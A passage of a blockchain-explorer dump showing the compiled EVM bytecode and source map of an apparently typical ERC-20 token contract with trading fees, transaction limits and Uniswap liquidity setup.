5b601554600160a01b900460ff16156106d95760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161049d565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107229030906107146009600a61190e565b61046490633b9aca0061191d565b601460009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610775573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107999190611971565b6001600160a01b031663c9c6539630601460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081f9190611971565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561086c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108909190611971565b601580546001600160a01b039283166001600160a01b031990911617905560145460115491169063f305d71990479030906000806108d66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561093e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610963919061198e565b505060155460145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156109bc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064b91906119bc565b6000546001600160a01b03163314610a0a5760405162461bcd60e51b815260040161049d9061193c565b601554600160a01b900460ff1615610a5e5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161049d565b6015805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ad95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161049d565b6001600160a01b038216610b3a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161049d565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161049d565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161049d565b60008111610cc45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161049d565b601554600160a01b900460ff16610d60576001600160a01b03831660009081526003602052604090205460ff1680610d1457506001600160a01b03821660009081526003602052604090205460ff165b610d605760405162461bcd60e51b815260206004820152601960248201527f74726164696e6720686173206e6f74206f70656e207965742e00000000000000604482015260640161049d565b601554600160b01b900460ff161580610d825750601554600160a81b900460ff165b15610e2d576001600160a01b038316600090815260016020526040902054610daa908261123b565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dd99082611284565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b8f9085815260200190565b600080546001600160a01b03858116911614801590610e5a57506000546001600160a01b03848116911614155b156111ef57610e8b6064610e85600a54600d5411610e7a57600654610e7e565b6008545b85906112e3565b90611362565b600e5490915060ff1615610f73576014546001600160a01b03848116911614801590610ec557506015546001600160a01b03848116911614155b15610f7357326000908152600560205260409020544311610f605760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161049d565b3260009081526005602052604090204390555b6015546001600160a01b038581169116148015610f9e57506014546001600160a01b03848116911614155b8015610fc357506001600160a01b03831660009081526003602052604090205460ff16155b156110ab5760125482111561101a5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161049d565b6013548261103d856001600160a01b031660009081526001602052604090205490565b61104791906119de565b11156110955760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161049d565b600d80549060006110a5836119f6565b91905055505b6015546001600160a01b0384811691161480156110d157506001600160a01b0384163014155b156110fe576110fb6064610e85600b54600d54116110f157600754610e7e565b60095485906112e3565b90505b61110881836119de565b60165530600090815260016020526040902054601554600160a81b900460ff1615801561114257506015546001600160a01b038581169116145b80156111575750601554600160b01b900460ff165b80156111665750600c54600d54115b801561118b57506001600160a01b03851660009081526003602052604090205460ff16155b80156111b057506001600160a01b03841660009081526003602052604090205460ff16155b156111ed57600f54811180156111dd576111dd6111d8856111d3856010546113a4565b6113a4565b6113b9565b4760016111e947611533565b5050505b505b6111fb84848484611575565b50505050565b600081848411156112255760405162461bcd60e51b815260040161049d91906116e7565b5060006112328486611a11565b95945050505050565b600061127d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611201565b9392505050565b60008061129183856119de565b90508381101561127d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161049d565b6000826112f2575060006103e3565b60006112fe838561191d565b90508261130b8583611a28565b1461127d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161049d565b600061127d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115cd565b60008183116113b3578261127d565b50919050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140157611401611a4a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561145a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147e9190611971565b8160018151811061149157611491611a4a565b6001600160a01b0392831660209182029290920101526014546114b79130911684610a77565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906114f0908590600090869030904290600401611a60565b600060405180830381600087803b15801561150a57600080fd5b505af115801561151e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b600e546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015611571573d6000803e3d6000fd5b5050565b6001600160a01b03841660009081526003602052604090205460ff1680156115a9576115a430866016546115fb565b6115ba565b81156115ba576115ba8530846115fb565b6115c68585858561161e565b5050505050565b600081836115ee5760405162461bcd60e51b815260040161049d91906116e7565b5060006112328486611a28565b6001600160a01b038216600090815260016020526040902054610dd99082611284565b6001600160a01b038416600090815260016020526040902054611641908361123b565b6001600160a01b038516600090815260016020526040902055611686611667838361123b565b6001600160a01b03851660009081526001602052604090205490611284565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6116d0858561123b565b60405190815260200160405180910390a350505050565b600060208083528351808285015260005b81811015611714578581018301518582016040015282016116f8565b81811115611726576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461064b57600080fd5b6000806040838503121561176457600080fd5b823561176f8161173c565b946020939093013593505050565b60008060006060848603121561179257600080fd5b833561179d8161173c565b925060208401356117ad8161173c565b929592945050506040919091013590565b6000602082840312156117d057600080fd5b813561127d8161173c565b600080604083850312156117ee57600080fd5b82356117f98161173c565b915060208301356118098161173c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186557816000190482111561184b5761184b611814565b8085161561185857918102915b93841c939080029061182f565b509250929050565b60008261187c575060016103e3565b81611889575060006103e3565b816001811461189f57600281146118a9576118c5565b60019150506103e3565b60ff8411156118ba576118ba611814565b50506001821b6103e3565b5060208310610133831016604e8410600b84101617156118e8575081810a6103e3565b6118f2838361182a565b806000190482111561190657611906611814565b029392505050565b600061127d60ff84168361186d565b600081600019048311821515161561193757611937611814565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561198357600080fd5b815161127d8161173c565b6000806000606084860312156119a357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119ce57600080fd5b8151801515811461127d57600080fd5b600082198211156119f1576119f1611814565b500190565b6000600019821415611a0a57611a0a611814565b5060010190565b600082821015611a2357611a23611814565b500390565b600082611a4557634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ab05784516001600160a01b031683529383019391830191600101611a8b565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aa958505e711c65311eae4a42b22425d7774d89bbc67cc9863d173246504fe3564736f6c634300080b0033
Deployed Bytecode Sourcemap
3858:10350:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6921:83;;;;;;;;;;-1:-1:-1;6991:5:0;;;;;;;;;;;;-1:-1:-1;;;6991:5:0;;;;6921:83;;;;;;;:::i;:::-;;;;;;;;7804:186;;;;;;;;;;-1:-1:-1;7804:186:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7804:186:0;1072:187:1;4952:57:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;4952:57:0;1264:177:1;7198:95:0;;;;;;;;;;;;;:::i;7998:446::-;;;;;;;;;;-1:-1:-1;7998:446:0;;;;;:::i;:::-;;:::i;7107:83::-;;;;;;;;;;-1:-1:-1;7107:83:0;;4695:1;2049:36:1;;2037:2;2022:18;7107:83:0;1907:184:1;7301:119:0;;;;;;;;;;-1:-1:-1;7301:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;7394:18:0;7367:7;7394:18;;;:9;:18;;;;;;;7301:119;3703:148;;;;;;;;;;;;;:::i;:::-;;9286:201;;;;;;;;;;;;;:::i;5079:58::-;;;;;;;;;;;;;;;;14017:188;;;;;;;;;;;;;:::i;3489:79::-;;;;;;;;;;-1:-1:-1;3527:7:0;3554:6;3489:79;;-1:-1:-1;;;;;3554:6:0;;;2494:51:1;;2482:2;2467:18;3489:79:0;2348:203:1;5144:60:0;;;;;;;;;;;;;;;;7012:87;;;;;;;;;;-1:-1:-1;7084:7:0;;;;;;;;;;;;-1:-1:-1;;;7084:7:0;;;;7012:87;;7428:192;;;;;;;;;;-1:-1:-1;7428:192:0;;;;;:::i;:::-;;:::i;4889:56::-;;;;;;;;;;;;;;;;6148:765;;;;;;;;;;;;;:::i;4570:40::-;;;;;;;;;;-1:-1:-1;4570:40:0;;;;;;;;5934:169;;;;;;;;;;;;;:::i;7628:168::-;;;;;;;;;;-1:-1:-1;7628:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7761:18:0;;;7734:7;7761:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7628:168;7804:186;7904:4;7921:39;302:10;7944:7;7953:6;7921:8;:39::i;:::-;-1:-1:-1;7978:4:0;7804:186;;;;;:::o;7198:95::-;7251:7;4754:15;4695:1;4754:2;:15;:::i;:::-;4738:31;;:13;:31;:::i;:::-;7271:14;;7198:95;:::o;7998:446::-;8130:4;8147:36;8157:6;8165:9;8176:6;8147:9;:36::i;:::-;8194:220;8217:6;302:10;8265:138;8321:6;8265:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8265:19:0;;;;;;:11;:19;;;;;;;;302:10;8265:33;;;;;;;;;;:37;:138::i;:::-;8194:8;:220::i;:::-;-1:-1:-1;8432:4:0;7998:446;;;;;:::o;3703:148::-;3616:6;;-1:-1:-1;;;;;3616:6:0;302:10;3616:22;3608:67;;;;-1:-1:-1;;;3608:67:0;;;;;;;:::i;:::-;;;;;;;;;3810:1:::1;3794:6:::0;;3773:40:::1;::::0;-1:-1:-1;;;;;3794:6:0;;::::1;::::0;3773:40:::1;::::0;3810:1;;3773:40:::1;3841:1;3824:19:::0;;-1:-1:-1;;;;;;3824:19:0::1;::::0;;3703:148::o;9286:201::-;3616:6;;-1:-1:-1;;;;;3616:6:0;302:10;3616:22;3608:67;;;;-1:-1:-1;;;3608:67:0;;;;;;;:::i;:::-;4754:15:::1;4695:1;4754:2;:15;:::i;:::-;4738:31;::::0;:13:::1;:31;:::i;:::-;9340:12;:22:::0;4754:15:::1;4695:1;4754:2;:15;:::i;:::-;4738:31;::::0;:13:::1;:31;:::i;:::-;9373:14;:24:::0;9408:20:::1;:28:::0;;-1:-1:-1;;9408:28:0::1;::::0;;9452:27:::1;4754:15;4695:1;4754:2;:15;:::i;:::-;4738:31;::::0;:13:::1;:31;:::i;:::-;9452:27;::::0;1410:25:1;;;1398:2;1383:18;9452:27:0::1;;;;;;;9286:201::o:0;14017:188::-;3616:6;;-1:-1:-1;;;;;3616:6:0;302:10;3616:22;3608:67;;;;-1:-1:-1;;;3608:67:0;;;;;;;:::i;:::-;14107:1:::1;14083:21;:25;14075:60;;;::::0;-1:-1:-1;;;14075:60:0;;5200:2:1;14075:60:0::1;::::0;::::1;5182:21:1::0;5239:2;5219:18;;;5212:30;-1:-1:-1;;;5258:18:1;;;5251:52;5320:18;;14075:60:0::1;4998:346:1::0;14075:60:0::1;14146:51;::::0;14154:10:::1;::::0;14175:21:::1;14146:51:::0;::::1;;;::::0;::::1;::::0;;;14175:21;14154:10;14146:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14017:188::o:0;7428:192::-;7531:4;7548:42;302:10;7572:9;7583:6;7548:9;:42::i;6148:765::-;3616:6;;-1:-1:-1;;;;;3616:6:0;302:10;3616:22;3608:67;;;;-1:-1:-1;;;3608:67:0;;;;;;;:::i;:::-;6214:11:::1;::::0;-1:-1:-1;;;6214:11:0;::::1;;;6213:12;6205:48;;;::::0;-1:-1:-1;;;6205:48:0;;5551:2:1;6205:48:0::1;::::0;::::1;5533:21:1::0;5590:2;5570:18;;;5563:30;-1:-1:-1;;;5609:18:1;;;5602:53;5672:18;;6205:48:0::1;5349:347:1::0;6205:48:0::1;6266:15;:104:::0;;-1:-1:-1;;;;;;6266:104:0::1;6317:42;6266:104:::0;;::::1;::::0;;;6383:58:::1;::::0;6400:4:::1;::::0;4754:15:::1;4695:1;4754:2;:15;:::i;:::-;4738:31;::::0;:13:::1;:31;:::i;6383:58::-;6488:15;;;;;;;;;-1:-1:-1::0;;;;;6488:15:0::1;-1:-1:-1::0;;;;;6488:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6470:55:0::1;;6548:4;6568:15;;;;;;;;;-1:-1:-1::0;;;;;6568:15:0::1;-1:-1:-1::0;;;;;6568:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6470:131;::::0;-1:-1:-1;;;;;;6470:131:0::1;::::0;;;;;;-1:-1:-1;;;;;6187:15:1;;;6470:131:0::1;::::0;::::1;6169:34:1::0;6239:15;;6219:18;;;6212:43;6104:18;;6470:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6454:13;:147:::0;;-1:-1:-1;;;;;6454:147:0;;::::1;-1:-1:-1::0;;;;;;6454:147:0;;::::1;;::::0;;6614:15:::1;::::0;6718:8:::1;::::0;6614:15;::::1;::::0;:31:::1;::::0;6653:21:::1;::::0;6698:4:::1;::::0;6454:13:::1;::::0;6773:7:::1;3527::::0;3554:6;-1:-1:-1;;;;;3554:6:0;;3489:79;6773:7:::1;6614:207;::::0;::::1;::::0;;;-1:-1:-1;;;;;;6614:207:0;;;-1:-1:-1;;;;;6625:15:1;;;6614:207:0::1;::::0;::::1;6607:34:1::0;6657:18;;;6650:34;;;;6700:18;;;6693:34;;;;6743:18;;;6736:34;6807:15;;;6786:19;;;6779:44;6795:15:0::1;6839:19:1::0;;;6832:35;6541:19;;6614:207:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;6841:13:0::1;::::0;6872:15:::1;::::0;6834:71:::1;::::0;-1:-1:-1;;;6834:71:0;;-1:-1:-1;;;;;6872:15:0;;::::1;6834:71;::::0;::::1;7363:51:1::0;-1:-1:-1;;7430:18:1;;;7423:34;6841:13:0;::::1;::::0;-1:-1:-1;6834:29:0::1;::::0;7336:18:1;;6834:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;5934:169::-:0;3616:6;;-1:-1:-1;;;;;3616:6:0;302:10;3616:22;3608:67;;;;-1:-1:-1;;;3608:67:0;;;;;;;:::i;:::-;5996:11:::1;::::0;-1:-1:-1;;;5996:11:0;::::1;;;5995:12;5987:48;;;::::0;-1:-1:-1;;;5987:48:0;;5551:2:1;5987:48:0::1;::::0;::::1;5533:21:1::0;5590:2;5570:18;;;5563:30;-1:-1:-1;;;5609:18:1;;;5602:53;5672:18;;5987:48:0::1;5349:347:1::0;5987:48:0::1;6048:11;:18:::0;;-1:-1:-1;;;;6077:18:0;-1:-1:-1;;;6077:18:0;;;5934:169::o;8452:335::-;-1:-1:-1;;;;;8545:19:0;;8537:68;;;;-1:-1:-1;;;8537:68:0;;7952:2:1;8537:68:0;;;7934:21:1;7991:2;7971:18;;;7964:30;8030:34;8010:18;;;8003:62;-1:-1:-1;;;8081:18:1;;;8074:34;8125:19;;8537:68:0;7750:400:1;8537:68:0;-1:-1:-1;;;;;8624:21:0;;8616:68;;;;-1:-1:-1;;;8616:68:0;;8357:2:1;8616:68:0;;;8339:21:1;8396:2;8376:18;;;8369:30;8435:34;8415:18;;;8408:62;-1:-1:-1;;;8486:18:1;;;8479:32;8528:19;;8616:68:0;8155:398:1;8616:68:0;-1:-1:-1;;;;;8695:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8747:32;;1410:25:1;;;8747:32:0;;1383:18:1;8747:32:0;;;;;;;;8452:335;;;:::o;9595:3308::-;-1:-1:-1;;;;;9683:18:0;;9675:68;;;;-1:-1:-1;;;9675:68:0;;8760:2:1;9675:68:0;;;8742:21:1;8799:2;8779:18;;;8772:30;8838:34;8818:18;;;8811:62;-1:-1:-1;;;8889:18:1;;;8882:35;8934:19;;9675:68:0;8558:401:1;9675:68:0;-1:-1:-1;;;;;9762:16:0;;9754:64;;;;-1:-1:-1;;;9754:64:0;;9166:2:1;9754:64:0;;;9148:21:1;9205:2;9185:18;;;9178:30;9244:34;9224:18;;;9217:62;-1:-1:-1;;;9295:18:1;;;9288:33;9338:19;;9754:64:0;8964:399:1;9754:64:0;9846:1;9837:6;:10;9829:64;;;;-1:-1:-1;;;9829:64:0;;9570:2:1;9829:64:0;;;9552:21:1;9609:2;9589:18;;;9582:30;9648:34;9628:18;;;9621:62;-1:-1:-1;;;9699:18:1;;;9692:39;9748:19;;9829:64:0;9368:405:1;9829:64:0;9918:11;;-1:-1:-1;;;9918:11:0;;;;9914:126;;-1:-1:-1;;;;;9954:21:0;;;;;;:15;:21;;;;;;;;;:44;;-1:-1:-1;;;;;;9979:19:0;;;;;;:15;:19;;;;;;;;9954:44;9946:82;;;;-1:-1:-1;;;9946:82:0;;9980:2:1;9946:82:0;;;9962:21:1;10019:2;9999:18;;;9992:30;10058:27;10038:18;;;10031:55;10103:18;;9946:82:0;9778:349:1;9946:82:0;10057:11;;-1:-1:-1;;;10057:11:0;;;;10056:12;;:22;;-1:-1:-1;10072:6:0;;-1:-1:-1;;;10072:6:0;;;;10056:22;10052:223;;;-1:-1:-1;;;;;10113:15:0;;;;;;:9;:15;;;;;;:27;;10133:6;10113:19;:27::i;:::-;-1:-1:-1;;;;;10095:15:0;;;;;;;:9;:15;;;;;;:45;;;;10171:13;;;;;;;:25;;10189:6;10171:17;:25::i;:::-;-1:-1:-1;;;;;10155:13:0;;;;;;;:9;:13;;;;;;;:41;;;;10216:26;;;;;;;;;;10235:6;1410:25:1;;1398:2;1383:18;;1264:177;10052:223:0;10285:17;3554:6;;-1:-1:-1;;;;;10321:15:0;;;3554:6;;10321:15;;;;:32;;-1:-1:-1;3527:7:0;3554:6;-1:-1:-1;;;;;10340:13:0;;;3554:6;;10340:13;;10321:32;10317:2523;;;10382:208;10586:3;10382:181;10446:15;;10434:9;;:27;10433:111;;10530:14;;10433:111;;;10490:12;;10433:111;10382:6;;:28;:181::i;:::-;:203;;:208::i;:::-;10611:20;;10370:220;;-1:-1:-1;10611:20:0;;10607:522;;;10692:15;;-1:-1:-1;;;;;10678:30:0;;;10692:15;;10678:30;;;;:83;;-1:-1:-1;10747:13:0;;-1:-1:-1;;;;;10733:28:0;;;10747:13;;10733:28;;10678:83;10652:462;;;10867:9;10838:39;;;;:28;:39;;;;;;10880:12;-1:-1:-1;10804:213:0;;;;-1:-1:-1;;;10804:213:0;;10334:2:1;10804:213:0;;;10316:21:1;10373:2;10353:18;;;10346:30;10412:34;10392:18;;;10385:62;10483:34;10463:18;;;10456:62;-1:-1:-1;;;10534:19:1;;;10527:40;10584:19;;10804:213:0;10132:477:1;10804:213:0;11069:9;11040:39;;;;:28;:39;;;;;11082:12;11040:54;;10652:462;11175:13;;-1:-1:-1;;;;;11167:21:0;;;11175:13;;11167:21;:72;;;;-1:-1:-1;11223:15:0;;-1:-1:-1;;;;;11209:30:0;;;11223:15;;11209:30;;11167:72;:113;;;;-1:-1:-1;;;;;;11261:19:0;;;;;;:15;:19;;;;;;;;11260:20;11167:113;11145:435;;;11333:12;;11323:6;:22;;11315:60;;;;-1:-1:-1;;;11315:60:0;;10816:2:1;11315:60:0;;;10798:21:1;10855:2;10835:18;;;10828:30;10894:27;10874:18;;;10867:55;10939:18;;11315:60:0;10614:349:1;11315:60:0;11450:14;;11440:6;11424:13;11434:2;-1:-1:-1;;;;;7394:18:0;7367:7;7394:18;;;:9;:18;;;;;;;7301:119;11424:13;:22;;;;:::i;:::-;:40;;11394:140;;;;-1:-1:-1;;;11394:140:0;;11303:2:1;11394:140:0;;;11285:21:1;11342:2;11322:18;;;11315:30;11381:28;11361:18;;;11354:56;11427:18;;11394:140:0;11101:350:1;11394:140:0;11553:9;:11;;;:9;:11;;;:::i;:::-;;;;;;11145:435;11606:13;;-1:-1:-1;;;;;11600:19:0;;;11606:13;;11600:19;:44;;;;-1:-1:-1;;;;;;11623:21:0;;11639:4;11623:21;;11600:44;11596:332;;;11677:235;11908:3;11677:204;11749:16;;11737:9;;:28;11736:122;;11843:15;;11736:122;;;11798:13;;11677:6;;:32;:204::i;:235::-;11665:247;;11596:332;11940:18;11949:9;11940:6;:18;:::i;:::-;11929:8;:29;12024:4;11975:28;7394:18;;;:9;:18;;;;;;12068:6;;-1:-1:-1;;;12068:6:0;;;;12067:7;:47;;;;-1:-1:-1;12101:13:0;;-1:-1:-1;;;;;12095:19:0;;;12101:13;;12095:19;12067:47;:79;;;;-1:-1:-1;12135:11:0;;-1:-1:-1;;;12135:11:0;;;;12067:79;:130;;;;;12179:18;;12167:9;;:30;12067:130;:173;;;;-1:-1:-1;;;;;;12219:21:0;;;;;;:15;:21;;;;;;;;12218:22;12067:173;:214;;;;-1:-1:-1;;;;;;12262:19:0;;;;;;:15;:19;;;;;;;;12261:20;12067:214;12045:784;;;12354:17;;12331:40;;12390:171;;;;12424:117;12467:51;12471:6;12479:38;12483:20;12505:11;;12479:3;:38::i;:::-;12467:3;:51::i;:::-;12424:16;:117::i;:::-;12626:21;12681:23;12759:35;12772:21;12759:12;:35::i;:::-;12297:532;;;12045:784;10355:2485;10317:2523;12852:43;12867:4;12873:2;12877:6;12885:9;12852:14;:43::i;:::-;9664:3239;9595:3308;;;:::o;1345:224::-;1465:7;1501:12;1493:6;;;;1485:29;;;;-1:-1:-1;;;1485:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1525:9:0;1537:5;1541:1;1537;:5;:::i;:::-;1525:17;1345:224;-1:-1:-1;;;;;1345:224:0:o;1201:136::-;1259:7;1286:43;1290:1;1293;1286:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1279:50;1201:136;-1:-1:-1;;;1201:136:0:o;1014:179::-;1072:7;;1104:5;1108:1;1104;:5;:::i;:::-;1092:17;;1133:1;1128;:6;;1120:46;;;;-1:-1:-1;;;1120:46:0;;11928:2:1;1120:46:0;;;11910:21:1;11967:2;11947:18;;;11940:30;12006:29;11986:18;;;11979:57;12053:18;;1120:46:0;11726:351:1;1577:246:0;1635:7;1659:6;1655:47;;-1:-1:-1;1689:1:0;1682:8;;1655:47;1712:9;1724:5;1728:1;1724;:5;:::i;:::-;1712:17;-1:-1:-1;1757:1:0;1748:5;1752:1;1712:17;1748:5;:::i;:::-;:10;1740:56;;;;-1:-1:-1;;;1740:56:0;;12506:2:1;1740:56:0;;;12488:21:1;12545:2;12525:18;;;12518:30;12584:34;12564:18;;;12557:62;-1:-1:-1;;;12635:18:1;;;12628:31;12676:19;;1740:56:0;12304:397:1;1831:132:0;1889:7;1916:39;1920:1;1923;1916:39;;;;;;;;;;;;;;;;;:3;:39::i;13902:107::-;13959:7;13991:1;13987;:5;13986:15;;14000:1;13986:15;;;-1:-1:-1;13996:1:0;13902:107;-1:-1:-1;13902:107:0:o;8795:483::-;5525:6;:13;;-1:-1:-1;;;;5525:13:0;-1:-1:-1;;;5525:13:0;;;8897:16:::1;::::0;;8911:1:::1;8897:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8897:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8897:16:0::1;8873:40;;8942:4;8924;8929:1;8924:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8924:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8968:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;8968:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;8924:7;;8968:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8958:4;8963:1;8958:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8958:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9033:15:::1;::::0;9001:62:::1;::::0;9018:4:::1;::::0;9033:15:::1;9051:11:::0;9001:8:::1;:62::i;:::-;9074:15;::::0;:196:::1;::::0;-1:-1:-1;;;9074:196:0;;-1:-1:-1;;;;;9074:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9155:11;;9074:15:::1;::::0;9197:4;;9224::::1;::::0;9244:15:::1;::::0;9074:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5561:6:0;:14;;-1:-1:-1;;;;5561:14:0;;;-1:-1:-1;;;;8795:483:0:o;9495:92::-;9552:10;;:27;;:10;;;;-1:-1:-1;;;;;9552:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;9495:92;:::o;12911:478::-;-1:-1:-1;;;;;13077:21:0;;13059:15;13077:21;;;:15;:21;;;;;;;;13111:210;;;;13140:43;13161:4;13168;13174:8;;13140:12;:43::i;:::-;13111:210;;;13217:13;;13214:96;;13250:44;13263:4;13277;13284:9;13250:12;:44::i;:::-;13333:48;13353:4;13359:2;13363:6;13371:9;13333:19;:48::i;:::-;13048:341;12911:478;;;;:::o;1971:223::-;2091:7;2126:12;2119:5;2111:28;;;;-1:-1:-1;;;2111:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2150:9:0;2162:5;2166:1;2162;:5;:::i;13692:202::-;-1:-1:-1;;;;;13804:16:0;;;;;;:9;:16;;;;;;:31;;13825:9;13804:20;:31::i;13397:287::-;-1:-1:-1;;;;;13525:15:0;;;;;;:9;:15;;;;;;:27;;13545:6;13525:19;:27::i;:::-;-1:-1:-1;;;;;13507:15:0;;;;;;:9;:15;;;;;:45;13579:40;13597:21;:6;13608:9;13597:10;:21::i;:::-;-1:-1:-1;;;;;13579:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;13563:13:0;;;;;;;:9;:13;;;;;:56;;;;13635:41;;;13654:21;:6;13665:9;13654:10;:21::i;:::-;13635:41;;1410:25:1;;;1398:2;1383:18;13635:41:0;;;;;;;13397:287;;;;:::o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:315;820: